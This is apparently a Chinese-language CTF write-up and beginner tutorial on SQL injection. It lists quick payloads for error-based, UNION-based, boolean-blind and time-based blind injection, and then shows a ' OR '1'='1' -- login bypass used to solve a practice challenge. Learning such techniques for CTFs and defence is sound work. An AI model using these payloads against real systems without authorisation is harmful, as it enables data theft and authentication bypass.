SQL Injection 是 Web 題裡最經典、也常出現的漏洞之一:攻擊者把惡意 SQL 送進應用,使後端資料庫回傳敏感資料或執行未授權查詢。
前情提要:我自己在學SQL Injection前有先在w3school大概看過SQL語法,有興趣的也可以先去看看會比較了解接下來在說甚麼ㄛ → https://www.w3schools.com/sql/default.asp
檢測時看什麼:頁面有 SQL/DB 的錯誤訊息、stack trace、或明顯的例外回傳。
快速 payload:
'
或 "
(看有無錯誤)注意事項:若出現資料庫錯誤,速度快且資訊豐富,但不同 DBMS 要用不同技巧。
檢測時看什麼:頁面顯示列表/表格或查詢結果,嘗試用 UNION
可以把你控制的欄位合併回顯
快速 payload:
' UNION SELECT NULL--
、' UNION SELECT NULL,NULL--
…' UNION SELECT NULL, CONCAT(database(),0x3a,version()), NULL--
注意事項:必須對齊欄位數與型別;若有過濾或轉義需嘗試不同表示法。
檢測時看什麼:頁面沒有直接回顯,但送不同條件會導致頁面內容或長度有差異(true/false 行為差別)。
快速 payload:
' AND 1=1--
(應與正常頁面相同),' AND 1=2--
(應不同)' AND SUBSTRING((SELECT database()),1,1)='a'--
(若回應同真則第一字是 a)注意事項:很慢,需要大量請求,自動化工具或腳本能節省時間。
檢測時看什麼:頁面無回顯也無顯著差異,但可透過伺服器回應時間判斷條件真偽(延遲作為訊號)。
快速 payload:
' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)--
注意事項:最慢的盲注方式,容易被速率限制或監控發現;測試時調整延遲秒數避免誤判。
在碰到新頁面或參數時,先用幾個最常見的簡單 payload 做快速檢測:
'
(例如:id=1'
)或雙引號 "
。範例 payload:
或在登入的 username/password 搭配:' OR 1=1 --
→
username: ' OR '1'='1' --
password: anything
說明:OR 1=1
會讓條件永遠為真,-
將後面的原 SQL 註解掉,若應用沒有做參數化或權限檢查,可能直接繞過登入。
注意:不同資料庫的註解符號略有差異(MySQL 常用 -
或 #
,MSSQL 也支援 -
),測試時視情況調整。
接下來來看今天的題目!
打開網頁之後是一個登入畫面,我們先隨便打點東西看看
可以發現它會把我們的輸入直接填入SQL query 中,所以我們可以用上面教的方法,在username填入' OR '1'='1' --
繞過登入!
打開開發者工具就能找到flag了👀
以上就是今天的內容啦!
想看更多,記得明天再來喔~